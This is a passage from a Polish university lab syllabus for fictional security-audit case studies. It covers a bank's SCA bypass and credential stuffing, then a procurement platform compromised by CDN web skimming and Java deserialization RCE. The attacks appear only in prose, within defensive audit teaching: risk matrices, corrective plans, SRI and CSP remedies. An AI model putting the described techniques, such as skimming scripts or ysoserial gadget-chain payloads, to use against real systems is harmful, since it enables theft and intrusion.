    Przyczyna źródłowa: Brak ładu bezpieczeństwa tożsamości (Identity Governance) w banku, brak niezależnej weryfikacji architektonicznej zmian w procedurach SCA oraz przedłożenie wygody klienta (UX) nad fundamentalne wymogi prawa bankowego i cyberodporności DORA.
  • Krok 3 (Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS - Minuty 15-40):

    Skwantyfikujcie 4 wektory zagrożeń w skali 25-stopniowej (P 1-5 x S 1-5):

Zagrożenie (obszar podatności OWASP)P (in.)S (in.)Ryzyko inherentne (IR)P (po CAP)S (po CAP)Ryzyko rezydualne (RR)
Masowa kradzież środków z kont bankowych przez ominięcie drugiego składnika SCA ( 5 5 25/25 – Ryzyko Ekstremalne 1 4 4/25 – Ryzyko Akceptowalne
Przełamanie haseł klientów w zmasowanym ataku botnetu Credential Stuffing ( 5 5 25/25 1 3 3/25
Przejęcie sesji bankowej przez brak unieważniania tokenów JWT po wylogowaniu ( 4 5 20/25 1 3 3/25
Nałożenie sankcji KNF i cofnięcie zgody na świadczenie usług płatniczych ( 4 5 20/25 1 4 4/25
ParametrWartość docelowa
rto10 min dla przywrócenia stabilnej pracy systemów uwierzytelniania
rpo0 sekund (zero dopuszczalnej utraty spójności księgowań i sald)
mtpd15 minut (maksymalny akceptowalny czas przestoju kanałów bankowości)
  • Krok 4 (Konstrukcja Trójfazowego Planu Działań Korygujących - CAP - Minuty 40-70):

    Opracujcie tabelę CAP w 3 horyzontach czasowych:

FazaHoryzont Działania naprawczeRACI (właściciele) KPI (wskaźniki efektywności)KRI / termin weryfikacji
1 – Działania natychmiastowe mitygujące0-7 dniZablokowanie podatnego endpointu uwierzytelniania, wdrożenie bezwzględnej blokady kont po 5 błędnych próbach logowania z odblokowaniem przez infolinię z weryfikacją tożsamości, natychmiastowe skrócone TTL tokenów JWT do 5 minut, wdrożenie reguł antybotowych na WAF (Cloudflare Bot Management) blokujących zautomatyzowany ruch botnetów na ścieżce `/api/v2/auth/*`A - Prezes Zarządu, R - CISO / Główny Architekt Bezpieczeństwa100% zapytań logowania poddanych inspekcji antybotowejLiczba zapytań z botnetów dopuszczonych do API = 0
2 – Działania krótkoterminowe inżyniersko-wdrożeniowe30 dniPełna przebudowa procesu SCA - wdrożenie stanowej weryfikacji etapów autoryzacji w bazie danych serwera (zabezpieczonej kryptograficznym hashem sesji), wdrożenie rozproszonej czarnej listy unieważnionych tokenów (Token Revocation List) w klastrze Redis z wykorzystaniem filtrów Blooma dla minimalizacji opóźnień; wdrożenie mechanizmów adaptacyjnego MFA (wymuszenie dodatkowego składnika przy zmianie adresu IP, urządzenia lub nietypowej porze operacji)A - Członek Zarządu ds. IT, R - Lead SecOps EngineerCzas weryfikacji tokenu w Redis < 1 msLiczba niespójności stanów SCA = 0
3 – Działania systemowe i ład korporacyjny90 dniWdrożenie standardu uwierzytelniania FIDO2 / WebAuthn (klucze kryptograficzne YubiKey i biometria wbudowana Passkeys) eliminującego całkowicie hasła współdzielone; wdrożenie zaawansowanego silnika detekcji behawioralnej anomalii logowania i transakcji (Fraud Detection Engine z machine learning); pełny audyt zgodności procedur tożsamości z Rozporządzeniem DORA i Rekomendacją D KNF z raportem do UKNFA - Zarząd Banku, R - CISO / Departament Zgodności100% klientów Private Banking migrowanych na FIDO2Liczba nieautoryzowanych transakcji = 0
  • Krok 5 (Sformalizowany Projekt Załącznika Wykonawczego SOP - Minuty 40-70):

    Zredagujcie sformalizowany akt normatywny: "Standard Zarządzania Identyfikacją, Uwierzytelnianiem i Sesją Elektroniczną w Banku Polskie Centrum Rozliczeń S.A." z numerowanymi artykułami:

    • § 1 Cel procedury i ramy prawne (zgodność z DORA, Rekomendacją D i EBA GL).
    • § 2 Obowiązkowe mechanizmy obrony przed atakami masowymi (blokady kont, reguły antybotowe i adaptacyjny rate limiting).
    • § 3 Architektura Silnego Uwierzytelnienia Klienta SCA (wymóg stanowej weryfikacji na backendzie i zakaz ufania danym od klienta).
    • § 4 Standardy zarządzania cyklem życia sesji JWT (parametry TTL, tokeny odświeżające Refresh Tokens i czarne listy w Redis).
    • § 5 Wymogi wdrożenia standardu FIDO2 / WebAuthn w kanałach cyfrowych.
    • § 6 Procedura awaryjnego blokowania sesji w przypadku podejrzenia incydentu i odpowiedzialność służbowa.
  • Krok 6 (Opracowanie Podsumowania Zarządczego - Pitch to Board - Minuty 70-90):

    Przygotujcie 1-stronicowy dokument dla Zarządu Banku i KNF: bilans ryzyk (redukcja z 4 ryzyk ekstremalnych IR>=20 do poziomu akceptowalnego RR<=4), plan odzyskania 14,8 mln PLN, ochrona depozytów o wartości 8 mld PLN, uniknięcie kar z DORA (do 10 mln EUR) i zarządu komisarycznego, kosztorys CAP (480 000 PLN na FIDO2, Redis i WAF) oraz stopa zwrotu z inwestycji (ROSI: ochrona reputacji i licencji bankowej).

Plan referatu studenckiego (15 minut) i obrona ustna

Plan obrony seminaryjnej przed komisją laboratoryjną (15 minut):

  • Prezentacja Podsumowania Zarządczego (Pitch to Board) dla Zarządu Banku (3 min): Przedstawienie skali incydentu na kontach Private Banking, ekspozycji na sankcje KNF/DORA oraz bilansu ryzyk przed i po CAP (Student A - Lead Auditor).
  • Dekonstrukcja techniczna ataku Credential Stuffing i ominięcia SCA (4 min): Prezentacja zrzutów ruchu HTTP, dekompozycja odpowiedzi JSON w module SCA, analiza braku unieważniania tokenów JWT oraz demonstracja wektora ataku botnetowego (Student B - Technical SecOps Auditor).
  • Prezentacja Kanonicznej Karty Niezgodności 4C, 5 Why i matrycy ryzyka 5x5 (4 min): Uzasadnienie kwalifikacji uchybienia, korelacja z DORA, Rekomendacją D KNF, wytycznymi EBA i normą ISO 27001 oraz wyliczenie redukcji ryzyka z IR=25 do RR=4 (Student C - Compliance Auditor).
  • Prezentacja Trójfazowego Planu CAP i Załącznika Wykonawczego SOP (3 min): Szczegółowe omówienie wdrożenia FIDO2/WebAuthn, filtrów Blooma w klastrze Redis, silnika Fraud Detection i procedury raportowania do KNF (Student B i Student C).
  • Dyskusja z komisją i obrona rekomendacji (1 min): Merytoryczne uzasadnienie wyższości kluczy FIDO2 nad kradzionymi kodami SMS (cała Triada Audytorska).
Zakres raportu poaudytowego i dokumentacji wdrożeniowej (12-16 stron A4)

Struktura raportu strategicznego na ocenę 5.0 (objętość 12-16 stron A4):

A. Podsumowanie Zarządcze (Executive Summary - "Pitch to Board") - 1 strona A4:

  • Syntetyczny bilans ryzyk autoryzacyjnych w sektorze bankowym (IR vs RR).
  • Skutki incydentu przejęcia kont dla stabilności instytucji finansowej.
  • Budżet Planu CAP (480 000 PLN) vs Return on Security Investment (ROSI).

B. Odpowiedzi na pytania problemowe i opis sytuacji kryzysowej:

  • W jaki sposób zorganizowane grupy cyberprzestępcze przeprowadzają ataki typu Credential Stuffing z wykorzystaniem rozproszonych botnetów i jakie zaawansowane mechanizmy detekcji (Device Fingerprinting, analiza behawioralna ruchów myszy/klawiatury, reputacja IP) skutecznie odróżniają człowieka od bota?
  • Dlaczego przechowywanie stanu procedury Silnego Uwierzytelnienia Klienta (SCA) w tokenach po stronie przeglądarki jest błędem krytycznym i jak powinna wyglądać weryfikacja stanowa (Stateful Verification) na backendzie serwera autoryzacyjnego?
  • W jaki sposób architektura FIDO2 / WebAuthn eliminuje zagrożenie phishingu i kradzieży poświadczeń poprzez zastosowanie kryptografii asymetrycznej i powiązanie z domeną internetową (Origin Binding)?

C. Kanoniczna Karta Ustaleń Audytowych w Modelu 4C.

D. Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS (IR vs RR, CVSS v3.1 Base Score 9.8 Critical).

E. Trójfazowy Plan Działań Korygujących (CAP) (Faza 1 [0-7 dni], Faza 2 [30 dni], Faza 3 [90 dni], RACI, KPI, KRI).

F. Sformalizowany Projekt Załącznika Wykonawczego (SOP) - Standard Zarządzania Uwierzytelnianiem (§ 1 do § 6).

G. Analiza kompromisów inżynierskich (wygoda użytkownika UX vs rygoryzm silnego uwierzytelniania w bankowości).

H. Bibliografia, netografia i regulacje prawne.

Bibliografia, netografia i regulacje prawne
  • OWASP Foundation: "OWASP Top 10:2021", Kategoria A07:2021 Identification and Authentication Failures.
  • OWASP Foundation: "Application Security Verification Standard (ASVS) v4.0.3", Sekcja V2 Authentication, Sekcja V3 Session Management.
  • Rozporządzenie Parlamentu Europejskiego i Rady (UE) 2022/2554 z dnia 14 grudnia 2022 r. w sprawie operacyjnej odporności cyfrowej sektora finansowego (Rozporządzenie DORA).
  • Komisja Nadzoru Finansowego (KNF): "Rekomendacja D dotycząca zarządzania obszarami technologii informacyjnej i bezpieczeństwa środowiska teleinformatycznego w bankach", Warszawa 2013/2020.
  • Europejski Urząd Nadzoru Bankowego (EBA): "Wytyczne w sprawie bezpieczeństwa płatności internetowych (EBA/GL/2014/12)", 2014.
  • FIDO Alliance: "FIDO2: Moving Beyond Passwords - WebAuthn & CTAP Specifications", 2023.
  • Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.5 (Bezpieczne uwierzytelnianie), A.8.15 (Rejestrowanie zdarzeń), A.8.16 (Monitorowanie aktywności).
  • Ustawa z dnia 29 sierpnia 1997 r. - Prawo bankowe (Dz.U. z 2023 r. poz. 2488 z późn. zm.) - art. 105 (Tajemnica bankowa).
Przypisanie do efektów uczenia się z sylabusa
  • U2 Precyzyjna identyfikacja i formalna kwalifikacja uchybień uwierzytelniania (ominiecie SCA, brak unieważniania JWT) w modelu 4C oraz analiza 5 Why.
  • U1 Projekt zintegrowanej architektury adaptacyjnego uwierzytelniania, klastra Redis Token Revocation i standardu FIDO2.
  • U3 Kwantyfikacja ryzyka w matrycy 5x5 w ujęciu inherentnym i rezydualnym z powiązaniem ze wskaźnikami CVSS i parametrami BCM.
  • U4 Konstrukcja Trójfazowego Planu CAP oraz przygotowanie profesjonalnego briefingu zarządczego (Pitch to Board).
  • W1W2W3 Wyczerpująca znajomość DORA, Rekomendacji D KNF, wytycznych EBA, normy ISO 27001 i standardów FIDO.
  • K1K2K3 Obiektywizm, wysoka kultura bankowa, bezkompromisowa ochrona środków powierzonych przez klientów i etyka zawodowa.
Wskazówki do przygotowania i obrony referatu

Podczas obrony referatu przedstawcie komisji diagram sekwencji protokołu uwierzytelniania przed audytem (błędna zależność od flagi JSON po stronie klienta) oraz po wdrożeniu Planu CAP z zastosowaniem kryptograficznego wyzwania FIDO2 i walidacji tokenów w filtrze Blooma w Redis.

08
Urząd zamówień publicznych i krajowa platforma e-Zamówienia (administracja rządowa / prawo zamówień publicznych / KRI / NIS2)
Zwiń

Temat: Strategiczny Audyt Integralności Oprogramowania i Danych (A08:2021 - Software and Data Integrity Failures: Niezaufane Sieci CDN bez Subresource Integrity, Podatna Deserializacja i CI/CD Poisoning): Zbieżność PZP, KRI, NIS2, Model 4C, Ryzyko 5X5 i Trójfazowy Plan CAP

Urząd Zamówień Publicznych – Krajowa Platforma e-Zamówienia(PZP / KRI / NIS2)Audyt A08:2021 Software and Data Integrity Failures (formuła 90 min)1Biblioteki JS zzewnętrznych CDN bezatrybutów SubresourceIntegrity (SRI)2Web SkimmingMagecart, podatnadeserializacja Java warchiwum ofert3Odszyfrowanie ofert owartości 400 mld PLNprzed otwarciem(IR=25, CVSS 9.8)4SRI + CSPrequire-sri-for +JSON Schema zamiastdeserializacji + CAPSchemat strategicznego audytu integralności oprogramowania i danych na platformie e-Zamówienia: analizabraku Subresource Integrity SRI w sieciach CDN, podatna deserializacja obiektów Java, model 4C, matryca
Schemat strategicznego audytu integralności oprogramowania i danych na platformie e-Zamówienia: analiza braku Subresource Integrity SRI w sieciach CDN, podatna deserializacja obiektów Java, model 4C, matryca ryzyka 5x5 i Trójfazowy Plan CAP
Cel zadania i powiązanie z efektami kształcenia

Głównym celem strategicznego zadania laboratoryjnego na ocenę 5.0 jest przeprowadzenie wysoce specjalistycznego audytu integralności oprogramowania i przetwarzanych danych (kategoria OWASP Top 10:2021 - A08:2021 Software and Data Integrity Failures) w centralnym systemie administracji rządowej - Krajowej Platformie 'e-Zamówienia' prowadzonej przez Urząd Zamówień Publicznych (UZP). Platforma jest kluczowym filarem gospodarki państwa, obsługującym rocznie postępowania przetargowe o łącznej wartości przekraczającej 400 mld PLN. Audyt ujawnia kumulację krytycznych uchybień w zakresie nienaruszalności kodu i danych: ładowanie zewnętrznych bibliotek JavaScript (m.in. jQuery, Vue.js, modułów kryptograficznych szyfrowania ofert) z publicznych sieci Content Delivery Network (CDN) bez mechanizmu weryfikacji integralności skrótem kryptograficznym Subresource Integrity (brak atrybutów `integrity="sha384-..."` i `crossorigin="anonymous"`), a także stosowanie podatnej natywnej deserializacji obiektów Java w module archiwizacji dokumentacji ofertowej. W toku incydentu kompromitacja zewnętrznego węzła CDN umożliwiła cyberprzestępcom wstrzyknięcie złośliwego kodu typu Web Skimming (Magecart) do formularza składania ofert. Skrypt wykradał klucze prywatne wykonawców i odszyfrowywał oferty cenowe w strategicznych przetargach zbrojeniowych, energetycznych i infrastrukturalnych na 72 godziny przed oficjalnym terminem otwarcia ofert. Ponadto payload deserializacyjny przesłany w pliku archiwalnym ZIP wywołał zdalne wykonanie kodu RCE na klastrze bazodanowym platformy. Zadanie wymaga dekompozycji w kanonicznym modelu 4C, kwantyfikacji ryzyka w 25-stopniowej matrycy 5x5 skorelowanej ze wskaźnikami CVSS v3.1 (9.8 Critical) oraz BCM (RTO=20m, RPO=0s, MTPD=1h), skonstruowania Trójfazowego Planu CAP ze wskaźnikami KPI i KRI, opracowania sformalizowanego Załącznika Wykonawczego (SOP) regulującego standardy SRI, restrykcyjne polityki Content-Security-Policy (CSP), bezpieczną serializację JSON oraz przygotowania Podsumowania Zarządczego (Pitch to Board) dla Prezesa UZP i Kolegium Ministra Cyfryzacji.

Powiązanie z sylabusem i efektami kształcenia na ocenę 5.0:

  • W1 Zaawansowana znajomość przepisów Ustawy - Prawo zamówień publicznych (art. 74 - zasada jawności i bezwzględnej poufności ofert przed otwarciem), przepisów KRI, Dyrektywy NIS2, tajemnicy państwowej i przedsiębiorstwa oraz odpowiedzialności karnej z art. 305 KK (udaremnienie lub utrudnienie przetargu publicznego).
  • W2W3 Rygorystyczna korelacja standardów OWASP Top 10:2021 (A08), OWASP ASVS v4.0.3 L3 (Sekcja V10 Złośliwy Kod i Integralność Oprogramowania, Sekcja V14 Konfiguracja CSP), normy PN-EN ISO/IEC 27001:2022 (kontrole A.8.24 Krypto-zabezpieczenia, A.8.28 Bezpieczne kodowanie, A.5.19 Łańcuch dostaw) oraz wytycznych W3C dotyczących Subresource Integrity (SRI).
  • U1 Opracowanie zaleceń inżynierskich migracji skryptów z zewnętrznych CDN na lokalny hosting artefaktów (Self-Hosted Assets), wdrożenia dyrektywy CSP `require-sri-for script style`, automatyzacji wyliczania sum SHA-384 w potoku Webpack/Vite oraz całkowitej likwidacji natywnej deserializacji Java na rzecz bezpiecznych parserów JSON z rygorystycznym JSON Schema.
  • U2 Bezbłędna kwalifikacja uchybienia integralności w modelu 4C z precyzyjnym powołaniem PZP, KRI i norm ISO.
  • U3 Kwantyfikacja ryzyka w matrycy 5x5 dla wektorów kradzieży ofert przetargowych, sfałszowania dokumentacji i przejęcia serwerów przez RCE deserializacji (IR=25, CVSS=9.8, korelacja z BCM).
  • U4 Opracowanie Trójfazowego Planu CAP, projektu procedury SOP oraz 1-stronicowego briefingu zarządczego (Pitch to Board).
  • K1K2K3 Profesjonalizm audytorski, niezależność osądu w badaniu administracji rządowej, ochrona uczciwości zamówień publicznych i wysoka etyka inżynierska.
  • Powiązanie z wykładem: Wyk1 (Audyt w administracji centralnej), Wyk3 (Kontrole A.8.24 i A.8.28 ISO 27001), Wyk4 (PZP, KRI i NIS2), Wyk5 (Matryca ryzyka 5x5 i BCM), Wyk6 (Inspekcja kodu JavaScript, nagłówków CSP i ładunków ysoserial), Wyk7 (Model 4C, 5 Why, Trójfazowy CAP i Pitch to Board).
Scenariusz sytuacyjny organizacji

Krajowa Platforma 'e-Zamówienia' prowadzona przez Urząd Zamówień Publicznych w Warszawie jest strategicznym systemem teleinformatycznym państwa. Za pośrednictwem portalu jednostki samorządu terytorialnego, ministerstwa, szpitale, wojsko oraz spółki Skarbu Państwa publikują ogłoszenia o zamówieniach, a wykonawcy składają zaszyfrowane oferty handlowe i techniczne opatrzone kwalifikowanymi podpisami elektronicznymi.

Stan faktyczny w obszarze mechanizmów integralności i incydentu wycieku ofert:

  • W warstwie frontendowej portalu programiści zdecydowali się na ładowanie kluczowych bibliotek JavaScript z zewnętrznych, publicznych sieci CDN (np. `cdnjs.cloudflare.com` oraz `cdn.jsdelivr.net`). W znacznikach `<script>` w kodzie strony głównej oraz modułu składania ofert: `<script src="https://cdn.jsdelivr.net/npm/vue@3.2.47/dist/vue.global.prod.js"></script>` oraz `<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>` całkowicie zignorowano atrybuty `integrity` zawierające skrót kryptograficzny SHA-384 oraz atrybut `crossorigin="anonymous"`.
  • W nagłówkach odpowiedzi serwera NGINX brak było dyrektywy Content-Security-Policy (CSP) ograniczającej źródła wykonywania skryptów (`script-src`) oraz brak dyrektywy `require-sri-for script`.
  • Zagraniczna grupa cyberprzestępcza dokonała kompromitacji konta maintainera jednej z mniej znanych bibliotek pomocniczych w publicznym rejestrze npm i podmieniła pakiet na węźle CDN, wstrzykując 18 linii złośliwego kodu JavaScript (atak Supply Chain / Web Skimming). Wstrzyknięty kod przechwytywał w przeglądarce wykonawcy wprowadzany klucz prywatny oraz jawny tekst formularza cenowego w momencie kliknięcia przycisku "Zaszyfruj i wyślij ofertę", a następnie wysyłał te dane w tle (poprzez ukryte żądanie WebSocket) na serwer C2 kontrolowany przez intruzów.
  • Przez 14 dni intruzi przechwycili kompletne oferty cenowe i dokumentację techniczną w 84 strategicznych przetargach publicznych o łącznej wartości 12,4 mld PLN (w tym na budowę odcinków dróg ekspresowych, dostawy sprzętu medycznego dla szpitali onkologicznych oraz systemy łączności taktycznej dla Wojska Polskiego), co pozwoliło powiązanym podmiotom na złożenie ofert o ułamek procenta tańszych i wygranie postępowań.
  • Ponadto w module archiwizacji dokumentacji przetargowej (`OfferArchiveManager.java`) odczyt skompresowanych ofert z bazy danych odbywał się za pomocą podatnej metody `ObjectInputStream.readObject()`. Intruzi, wykorzystując powszechny łańcuch gadżetów (Gadget Chain) biblioteki Apache Commons Collections, przesłali spreparowany obiekt binarny, uzyskując zdalne wykonanie kodu (RCE) na serwerze aplikacyjnym z uprawnieniami roota.

Prezes Urzędu Zamówień Publicznych oraz Minister Cyfryzacji, stając w obliczu skandalu gospodarczego na skalę międzynarodową, unieważnienia setek postępowań przetargowych, zawiadomienia ABW i CBA oraz kar finansowych, powołują Triadę Audytorską do przeprowadzenia strategicznego audytu w formule 90 minut na poziomie oceny 5.0.

Wskazówki wykonania krok po kroku w formule 90 minut

Zadanie realizowane jest w ścisłym reżimie warsztatowym (formuła 90 minut) przez 2-3 osobową Triadę Audytorską:

  • Krok 1 (Podział ról w Triadzie Audytorskiej - Minuty 00-15):

    Student A (Lead Auditor / Zgodność z Prawem Zamówień Publicznych i NIS2): Odpowiada za ład prawno-administracyjny, zgodność z art. 74 PZP, Dyrektywą NIS2, procedurami ABW/CBA, koordynację matrycy 5x5 oraz przygotowanie 1-stronicowego Executive Summary ("Pitch to Board") dla Prezesa UZP i Ministra.

    Student B (Technical SecOps Auditor / Architekt Integralności Kodu i Aplikacji): Dokonuje dekonstrukcji kodu Web Skimming na CDN, bada brak atrybutów SRI w HTML, brak nagłówka CSP, analizuje ładunki RCE w `ObjectInputStream`, projektuje lokalne repozytorium artefaktów (Self-Hosted Assets) z automatyzacją wyliczania sum kontrolnych SHA-384 w potoku CI/CD, restrykcyjną politykę CSP oraz bezpieczną deserializację JSON Schema.

    Student C (Governance, Risk & Compliance Auditor): Opracowuje Kanoniczną Kartę Niezgodności 4C, wylicza ryzyko w matrycy 5x5 skorelowane ze wskaźnikami CVSS v3.1 (9.8 Critical) i BCM (RTO=20m, RPO=0s, MTPD=1h), prowadzi sekwencję 5 Why oraz konstruuje Trójfazowy Plan CAP ze wskaźnikami KPI i KRI. W zespole dwuosobowym zadania te dzielą Studenci A i B.

  • Krok 2 (Opracowanie Kanonicznej Karty Niezgodności 4C - Minuty 15-40):

    Sformułujcie kartę uchybienia krytycznego w modelu 4C:

Kanoniczna Karta Ustaleń Audytowych – model 4C
1. Condition (Stan faktyczny)

Platforma e-Zamówienia pobiera krytyczne biblioteki JavaScript z zewnętrznych sieci CDN bez weryfikacji sumy kontrolnej Subresource Integrity (SRI) i bez nagłówków CSP, co umożliwiło wstrzyknięcie kodu Web Skimming i nielegalne podejrzenie ofert w 84 przetargach o wartości 12,4 mld PLN, a użycie `ObjectInputStream` doprowadziło do kompromitacji klastra przez RCE.

2. Criteria (Kryterium)

Naruszenie art. 74 ust. 1 i 2 Ustawy - Prawo zamówień publicznych (bezwzględna zasada poufności ofert do momentu ich publicznego otwarcia), kontroli ISO/IEC 27001:2022 A.8.24 (Krypto-zabezpieczenia), A.8.28 (Bezpieczne kodowanie), A.5.19 (Zarządzanie bezpieczeństwem w łańcuchu dostaw ICT), standardu OWASP ASVS v4.0.3 L3 (Sekcja V10 Malicious Code and Integrity, wymóg V14.4 CSP z SRI), § 20 KRI oraz art. 305 Kodeksu Karnego.

3. Cause (Przyczyna źródłowa – 5 Why)
  1. Dlaczego oferty przetargowe wyciekły przed otwarciem? (Złośliwy skrypt JavaScript na formularzu przechwytywał wprowadzane dane). 2. W jaki sposób złośliwy skrypt znalazł się na platformie? (Został załadowany z zewnętrznej sieci CDN, która uległa kompromitacji).
  2. Dlaczego przeglądarka wykonała zmodyfikowany skrypt? (W znacznikach `<script>` nie zastosowano atrybutu Subresource Integrity - SRI).
  3. Dlaczego programiści nie użyli SRI i pobierali biblioteki z CDN? (Chcieli zaoszczędzić pasmo serwerowe urzędu i przyspieszyć ładowanie strony).

Przyczyna źródłowa: Całkowity brak ładu zarządzania integralnością oprogramowania w instytucji rządowej, brak kontroli łańcucha dostaw zasobów webowych oraz brak procedur audytu bezpieczeństwa kodu przed wdrożeniem produkcyjnym.

4. Consequence (Skutki)

Złamanie konstytucyjnej zasady równego traktowania wykonawców i uczciwej konkurencji, konieczność unieważnienia 84 strategicznych przetargów państwowych o wartości 12,4 mld PLN, gigantyczne odszkodowania dla poszkodowanych oferentów, odpowiedzialność karna z art. 305 KK, paraliż inwestycji państwowych oraz sankcje z Dyrektywy NIS2 do 10 mln EUR.

Analiza przyczyn źródłowych – drzewo 5 Why
  1. 1
    Dlaczego oferty przetargowe wyciekły przed otwarciem? (Złośliwy skrypt JavaScript na formularzu przechwytywał wprowadzane dane). 2. W jaki sposób złośliwy skrypt znalazł się na platformie? (Został załadowany z zewnętrznej sieci CDN, która uległa kompromitacji).
  2. 2
    Dlaczego przeglądarka wykonała zmodyfikowany skrypt? (W znacznikach `<script>` nie zastosowano atrybutu Subresource Integrity - SRI).
  3. 3
    Dlaczego programiści nie użyli SRI i pobierali biblioteki z CDN? (Chcieli zaoszczędzić pasmo serwerowe urzędu i przyspieszyć ładowanie strony).
  4. root
    Przyczyna źródłowa: Całkowity brak ładu zarządzania integralnością oprogramowania w instytucji rządowej, brak kontroli łańcucha dostaw zasobów webowych oraz brak procedur audytu bezpieczeństwa kodu przed wdrożeniem produkcyjnym.
  • Krok 3 (Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS - Minuty 15-40):

    Skwantyfikujcie 4 wektory zagrożeń w skali 25-stopniowej (P 1-5 x S 1-5):

Zagrożenie (obszar podatności OWASP)P (in.)S (in.)Ryzyko inherentne (IR)P (po CAP)S (po CAP)Ryzyko rezydualne (RR)
Kradzież i przedterminowe odszyfrowanie ofert przetargowych przez złośliwy kod z CDN ( 5 5 25/25 – Ryzyko Ekstremalne 1 4 4/25 – Ryzyko Akceptowalne
Zdalne wykonanie kodu (RCE) na serwerze przez podatną deserializację Java ( 5 5 25/25 1 3 3/25
Przełamanie integralności portalu przetargowego przez atak Man-in-the-Middle na połączenia z CDN ( 4 5 20/25 1 3 3/25
Unieważnienie kluczowych postępowań publicznych i roszczenia odszkodowawcze wykonawców ( 5 5 25/25 1 4 4/25
ParametrWartość docelowa
rto20 min dla przywrócenia nienaruszonego środowiska aplikacyjnego
rpo0 sekund (zero dopuszczalnej modyfikacji złożonych ofert)
mtpd1 godzina
  • Krok 4 (Konstrukcja Trójfazowego Planu Działań Korygujących - CAP - Minuty 40-70):

    Opracujcie tabelę CAP w 3 horyzontach czasowych:

FazaHoryzont Działania naprawczeRACI (właściciele) KPI (wskaźniki efektywności)KRI / termin weryfikacji
1 – Działania natychmiastowe mitygujące0-7 dniNatychmiastowe usunięcie wszystkich zewnętrznych odwołań do publicznych sieci CDN w kodzie HTML i zastąpienie ich plikami hostowanymi lokalnie na utwardzonych serwerach urzędu, wdrożenie awaryjnego nagłówka CSP: `script-src 'self'`, całkowite zablokowanie endpointu przyjmującego zserializowane obiekty Java i wdrożenie reguł WAF blokujących nagłówki deserializacjiA - Prezes UZP, R - CISO / Główny Inżynier Systemowy0 zewnętrznych zasobów ładowanych na platformieLiczba żądań HTTP do domen CDN = 0
2 – Działania krótkoterminowe inżyniersko-wdrożeniowe30 dniWdrożenie w potoku CI/CD automatycznego generatora sum kontrolnych SHA-384 Subresource Integrity (SRI) dla każdego lokalnego pliku JavaScript i CSS wraz z atrybutem `crossorigin="anonymous"`; wdrożenie rygorystycznej polityki Content-Security-Policy z dyrektywą `require-sri-for script style`; całkowita refaktoryzacja modułu archiwizacji dokumentacji ofertowej - likwidacja `ObjectInputStream` i wdrożenie bezpiecznej serializacji w formacie JSON z biblioteką Jackson z wyłączonym mechanizmem Default Typing oraz walidacją schematu JSON SchemaA - Dyrektor Departamentu Informatyki, R - Lead DevSecOps Engineer100% skryptów z aktywną walidacją SRILiczba błędów naruszenia CSP w logach = 0
3 – Działania systemowe i ład korporacyjny90 dniWdrożenie procedury cyklicznego audytu integralności kodu z wykorzystaniem narzędzi File Integrity Monitoring (FIM - OSSEC/Tripwire) na serwerach WWW; sformalizowanie Rządowego Standardu Integralności Zasobów Webowych w Zamówieniach Publicznych; niezależny audyt bezpieczeństwa przeprowadzony przez CSIRT GOV (ABW) z certyfikacją nienaruszalności procedur szyfrowania ofertA - Prezes UZP / Minister Cyfryzacji, R - CISO / Departament KontroliCertyfikat bezpieczeństwa CSIRT GOV bez uwag krytycznychLiczba incydentów integralności = 0
  • Krok 5 (Sformalizowany Projekt Załącznika Wykonawczego SOP - Minuty 40-70):

    Zredagujcie sformalizowany akt normatywny: "Standard Integralności Kodu, Łańcucha Zależności Webowych i Bezpiecznej Serializacji Danych Urzędu Zamówień Publicznych" z numerowanymi artykułami:

    • § 1 Cel i zakres standardu (zapewnienie integralności ofert i zgodności z PZP/NIS2).
    • § 2 Bezwzględny zakaz ładowania skryptów z publicznych sieci CDN (obowiązek Self-Hosted Assets).
    • § 3 Obligatoryjne stosowanie Subresource Integrity SRI (sumy SHA-384) i dyrektyw CSP.
    • § 4 Całkowity zakaz natywnej deserializacji obiektów Java (wymóg serializacji JSON z JSON Schema).
    • § 5 Procedury weryfikacji nienaruszalności danych FIM w czasie rzeczywistym.
    • § 6 Odpowiedzialność karna i dyscyplinarna za naruszenie poufności ofert przetargowych.
  • Krok 6 (Opracowanie Podsumowania Zarządczego - Pitch to Board - Minuty 70-90):

    Przygotujcie 1-stronicowy dokument dla Prezesa UZP i Kolegium Ministra: bilans ryzyk (redukcja z 4 ryzyk ekstremalnych IR>=20 do poziomu akceptowalnego RR<=4), rozliczenie incydentu w 84 przetargach, zabezpieczenie 400 mld PLN rocznego obrotu państwa, wyeliminowanie sankcji z NIS2 (do 10 mln EUR) i odpowiedzialności karnej z art. 305 KK, kosztorys CAP (360 000 PLN na FIM, refaktoryzację i audyt CSIRT GOV) oraz stopa zwrotu z inwestycji (ROSI: ochrona zaufania do instytucji państwa).

Plan referatu studenckiego (15 minut) i obrona ustna

Plan prezentacji seminaryjnej przed komisją (15 minut):

  • Prezentacja Podsumowania Zarządczego (Pitch to Board) dla Prezesa UZP i Ministra (3 min): Przedstawienie skali wycieku ofert w 84 strategicznych przetargach, ekspozycji gospodarczej i prawnej oraz bilansu ryzyk przed i po CAP (Student A - Lead Auditor).
  • Dekonstrukcja techniczna ataku Web Skimming na CDN i deserializacji Java (4 min): Prezentacja złośliwego kodu JS przechwytującego formularz, zrzutów ruchu WebSocket do C2, analiza braku atrybutów SRI w tagach script oraz demontaż ładunku RCE ysoserial (Student B - Technical SecOps Auditor).
  • Prezentacja Kanonicznej Karty Niezgodności 4C, 5 Why i matrycy ryzyka 5x5 (4 min): Uzasadnienie kwalifikacji uchybienia, korelacja z art. 74 PZP, art. 305 KK, Dyrektywą NIS2 i normą ISO 27001 oraz wyliczenie redukcji ryzyka z IR=25 do RR=4 (Student C - Compliance Auditor).
  • Prezentacja Trójfazowego Planu CAP i Załącznika Wykonawczego SOP (3 min): Szczegółowe omówienie migracji na Self-Hosted Assets, automatyzacji SRI w Webpack, polityki CSP i likwidacji deserializacji Java (Student B i Student C).
  • Dyskusja z komisją i obrona rekomendacji (1 min): Odpowiedzi na pytania dotyczące skutków prawnych konieczności unieważnienia postępowań o wartości 12,4 mld PLN (cała Triada Audytorska).
Zakres raportu poaudytowego i dokumentacji wdrożeniowej (12-16 stron A4)

Struktura raportu strategicznego na ocenę 5.0 (objętość 12-16 stron A4):

A. Podsumowanie Zarządcze (Executive Summary - "Pitch to Board") - 1 strona A4:

  • Syntetyczny bilans ryzyk integralnościowych w zamówieniach państwowych (IR vs RR).
